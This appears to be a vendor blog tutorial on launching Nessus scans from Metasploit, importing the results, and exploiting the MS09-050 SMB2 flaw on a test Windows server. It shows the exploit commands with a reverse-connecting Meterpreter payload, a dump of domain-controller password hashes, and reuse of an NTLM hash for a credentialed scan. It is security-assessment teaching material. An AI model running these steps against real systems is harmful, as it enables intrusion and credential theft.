Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Using Nessus and Metasploit Together

Security Tools Working Together

This is the third in a series of posts that describe the use of Nessus on BackTrack 5. Previous posts covered how to activate Nessus on BackTrack 5 and how to integrate Nmap, Hydra, and Nikto with Nessus. In this post we will cover initiating Nessus scans from within Metasploit. Beginning with Nessus 4, Tenable introduced the Nessus API, which lets users programmatically interface with a Nessus server using XMLRPC. Zate Berg took the initiative to write modules in Metasploit that, among other things, can launch a Nessus scan and import the results into the Metasploit database. From there, we can find which hosts are vulnerable to exploitation, exploit them, harvest the password hashes, and then use those password hashes to initiate credentialed Nessus scans.

Configuring Nessus

The first step needed to use Nessus with Metasploit is to log into Nessus and create a user for Metasploit. In this example, I created a user called "msf" with a password of "metasploit".




While logged in as "msf", I created a policy called "Windows Server Scan". The policy has all plugins enabled and most of the defaults were left as-is since I wanted to initiate a network-based vulnerability scan.

Setting up the Metasploit Database

The first thing to do in Metasploit is configure the database. There are some steps that you need to take prior to doing this, and I found the following two articles to be helpful:

Once the database has been configured, you will need to enable the database driver and connect to the database. We used PostgreSQL in the following example:

msf > db_driver postgresql
msf > db_connect postgres:[email protected]/metasploit
msf > nessus_connect msf:[email protected]:8834 ok
[*] Connecting to as msf
[*] Authenticated

Initiating a Nessus Scan

The next step is to load the Nessus module and list which scan policies are available on the Nessus server using the "nessus_policy_list" command:

msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

msf exploit(ms09_050_smb2_negotiate_func_index) > nessus_policy_list
[+] Nessus Policy List
ID Name Comments
-- ---- --------
-4 Internal Network Scan
-3 Web App Tests
-2 Prepare for PCI DSS audits
-1 External Network Scan
1 Windows Server Scan


The built-in policies show up as negative numbers, and polices created by the user are numbered accordingly, starting with 1. "Windows Server Scan" is the policy we created and will use for this example. With this policy we can initiate a new scan using the "nessus_scan_new" command:

msf > nessus_scan_new 1 win2008-msf
[*] Creating scan from policy number 1, called "win2008-msf" and scanning
[*] Scan started.  uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2

This kicks off a scan on the Nessus server and scans the host using our policy. You can check on the status of the scan using the "nessus_scan_status" command:

msf > nessus_scan_status
[+] Running Scans
Scan ID                                               Name         Owner  Started            Status   Current Hosts  Total Hosts
-------                                               ----         -----  -------            ------   -------------  -----------
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  msf    03:48 Jun 01 2011  running  0              1

Once the scan has finished you can review the reports generated by using the "nessus_report_list" command:

msf > nessus_report_list
[+] Nessus Report List
ID                                                    Name         Status     Date
--                                                    ----         ------     ----
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  completed  03:51 Jun 01 2011

Now that we have identified the report we want to use, we can use the "nessus_report_get" command to import the results and store them in the Metasploit database:

msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] Microsoft Windows Server 2008 Service Pack 1  Done!
[+] Done

Once the results have been imported we can review the available vulnerabilities using the "db_vulns" command:

msf exploit(ms09_050_smb2_negotiate_func_index) > db_vulns
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host= port=5355 proto=udp name=Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host= port=593 proto=tcp name=Service Detection refs=NSS-22964
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host= port=445 proto=tcp name=MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check) refs=CVE-2009-3103,BID-36299,CWE-399,OSVDB-57799,MSFT-MS09-050,MSF-Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference,NSS-40887

In the results for this particular host, Nessus reported that it was missing the patch for Microsoft security bulletin MS09-050. To see if Metaspoit contains an exploit for that vulnerability, run the command "search exploits 09-050":

msf > search exploits 09-050
Matching Modules
Name                                                       Disclosure Date  Rank    Description
----                                                       ---------------  ----    -----------
exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

As you can see, Metasploit does indeed have such an exploit! The next step is to use this exploit, along with a payload, to compromise the system:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) >
msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST
msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started HTTPS reverse handler on
[*] Connecting to the target (
[*] Sending the exploit packet (951 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Request received for /AFIgx...
[*] Staging connection for target FIgx received...
[*] Patching Target ID FIgx into DLL
[*] Request received for /BFIgx...
[*] Stage connection for target FIgx received...
[*] Meterpreter session 1 opened ( -> at Wed Jun 01 04:15:35 -0400 2011
meterpreter >

Success! The commands shown above set the target to be attacked (RHOST) and the host to call back to once the target system has been exploited (LHOST). We've chosen a reverse-connecting HTTPS Meterpreter payload, which will connect back to our Metasploit instance on port 8443. The next task is to dump the password hashes from the remote host. I chose to use a new module called "smart_hashdump". I chose this module because the remote host is an Active Directory domain controller and has a few thousand user accounts. smart_hashdump allows us to dump the password hashes and save them to a file:

meterpreter > run post/smart_hasdump SESSION=1,GETSYSTEM=true
[*] Running module against WIN-8BPIQBRO0CX
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...

Take a look at the first line in the file "/root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt" and you will see something like the following:


This is the local Administrator account's password. Copy the second field (highlighted in bold) which is the NTLM-hashed password for the local Administrator user. Next, configure a new Nessus policy, and use the NTLM hash as the "SMB password":




Make sure to set the "SMB password type" field to "NTLM Hash" and the "SMB account" field to "Administrator".

For comparison, the number of vulnerabilities found by scanning the target with credentials and without are shown below:

With credentials:





Without credentials:





It’s very pleasing to see the Nessus API being leveraged to help users be more productive. The Nessus bridge for Metasploit is a great user community project that has allowed Nessus to integrate with other popular security tools. You could even automate the above process using a script that would launch Nessus, run a scan, and exploit the remotely exploitable vulnerabilities. However, we do see that a credentialed scan produces a much more comprehensive report of the vulnerabilities present on a system. It ultimately becomes a choice of what you are trying to accomplish during your security assessments and most people will approach the process in their own way.


Subscribe to the Tenable Blog

Try for Free Buy Now

Try Tenable.io Vulnerability Management


Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets
Try for Free Buy Now

Try Nessus Professional Free


Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Purchase your 1-, 2-, or 3-year license today.